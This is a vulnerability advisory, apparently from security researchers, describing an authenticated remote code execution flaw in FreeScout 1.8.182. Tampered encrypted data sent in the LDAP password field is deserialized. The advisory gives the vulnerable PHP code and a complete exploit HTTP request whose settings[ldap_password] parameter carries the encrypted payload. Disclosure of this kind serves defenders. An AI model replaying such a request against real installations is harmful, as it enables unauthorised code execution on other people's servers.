/**
* Configure LDAP server.
* @return [type] [description]
*/
public static function configureLdap($settings = [], $connection = 'default')
{
self::$config_applied = true;
$recreate_sp = false;
if ($settings) {
$recreate_sp = true;
}
...
\Config::set('adldap.connections.'.$connection.'.connection_settings.base_dn', ($settings['ldap_dn'] ?? $settings['ldap_base_dn']));
\Config::set('adldap.connections.'.$connection.'.connection_settings.admin_account_prefix', $settings['ldap_admin_account_prefix'].'=');
\Config::set('adldap.connections.'.$connection.'.connection_settings.admin_account_suffix', ','.$settings['ldap_base_dn']);
\Config::set('adldap.connections.'.$connection.'.connection_settings.admin_username', $settings['ldap_username']);
$ldap_password = \Helper::decrypt($settings['ldap_password']);
\Config::set('adldap.connections.'.$connection.'.connection_settings.admin_password', $ldap_password);
POST /app-settings/ldap/ajax HTTP/1.1
Host: freescout.web-hacks.ru
Cookie: laravel_session=eyJpdiI6IjZPXC9yXC8zc2pmZXgrc2VERk5ITVh5UT09IiwidmFsdWUiOiJVbnRwakVqeTJnckRxWDlJd0FNWFZsRWp3SW0rUWxCcWh2VGpqK1lpVGZDSExJbVpnYTg3a2N6b2pjN3pnbkNwMnJzRm5yM2ZFZWxpR1o2Nzl6MUJ6MERcL1A0WGxqc1R1cTBFMHBwWGlITU9WRGNCeW1UeVk5NXRqSnU3WDNRYTAiLCJtYWMiOiI2ZjgxMmMxOThlNTA2NmI3YWQ3YzFjYjhhZWZiYmEwYzI1MDYzZDE5MzVmODdjZjY0NWE2OTI0ZWUwMjgwOGQ5In0%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Csrf-Token: 3a2kHr2esEEI6Xu7Ec0VwBJYrrvJrntRwh9BLJ7Z
X-Requested-With: XMLHttpRequest
Content-Length: 1207
Origin: https://freescout.web-hacks.ru
Referer: https://freescout.web-hacks.ru/app-settings/ldap
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
_token=3a2kHr2esEEI6Xu7Ec0VwBJYrrvJrntRwh9BLJ7Z&settings%5Bldap_host%5D=1&settings%5Bldap_port%5D=389&settings%5Bldap_encryption%5D=&settings%5Bldap_base_dn%5D=1&settings%5Bldap_username%5D=appsectest1%40ptsecurity.com&settings%5Bldap_password%5D=eyJpdiI6ICJSMVJaR3p0d1V1eVVteTI5aVVlRFVBPT0iLCAidmFsdWUiOiAidmhmTlduNmVFbzI5ay9hc2RKeHZaaWNiaTJtNTZ4c1l4TjEzdHhjZlJrZDhxdnRzUEt1N005dHRnR1lyaHI5dm5nNXBnVTFleVNPN0RVR0c0THdmemRWWm9XNlZMbHFsRlBKZUJtUnJSSWYxc0Jrak5BV3FhUVJiTjROY2dvNGNFMFNTZE1ZejU1WW1nSG1MNkhMOEFreGV5THVEbUtIeTkySjRxQTdlSmNzaGxsUkRob1o1YkVkYnlFWGc2QzdEV3ZadkRoSnNIT2NscEd4amFWb01HcHV6U3RrWXAvT0krSDYxWmxxTDlLYXczcnNsM1drSXp4cWpaS29vWWhvYXJQMDd4VEZ2YnZOL0dJYUJnU0FJNk5OTHQwNVlXOHJhL0ZrRW0vUjdXaS8vZGVDaWdvSStjYXhLdDVVa040SW14MTFYYzV6L3ZRVmxDR3F6QWJVRkk1MGQxZnQ5d2VVSmNOU1Y0TDJTTHA5M1NsUXYvMXgrVUVTL2F6ckRacFNoZkFGQU0wNndvaFRtOTRSZWh4bE5xUT09IiwgIm1hYyI6ICJhOGM3MmVjNzI0NzNkMDQ0ZGYwNGQxMTJmMThlNzM1ZTJlYWY5YjgyZDlkY2M3YWY1MzAxNGU4MTZkMGRlYjgyIiwgInRhZyI6ICIifQ==
&settings%5Bldap_server_type%5D=&settings%5Bldap_admin_account_prefix%5D=&settings%5Bldap_dns%5D=1&settings%5Bldap_import%5D%5B0%5D%5Bbase_dn%5D=1&settings%5Bldap_sso_key%5D=AUTH_USER&settings%5Bldap_sso_discover%5D=uid&action=connect
Deserialization of untrusted data leads to Remote code execution [6]
Product: FreeScout
Version: 1.8.182
CWE-ID:
• CWE-502: Deserialization of Untrusted Data
• CAPEC-586: Object Injection
CVSS vector v.4.0: 7.0 (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N)
Description: The application performs deserialization of data that can be tampered with. An attacker can create objects of arbitrary classes, as well as fully control their properties, thereby allowing them to manipulate the web application's logic.
Vulnerable scenarios: /app-settings/ldap/ajax
Vulnerable parameters: POST settings[ldap_password]
Exploitation conditions: authorized user with admin role, APP_KEY knowledge, LDAP module
Researchers: Daniil Satyaev, Roman Cheremnykh, Artem Danilov (Positive Technologies)
Research
Vulnerable code:
Listing Code snippet exploiting the vulnerable function Helper::decrypt (Ldap/Providers/LdapServiceProvider.php 297-349)
Exploitation scenario:
Listing HTTP-request to exploit «Deserialization of untrusted data»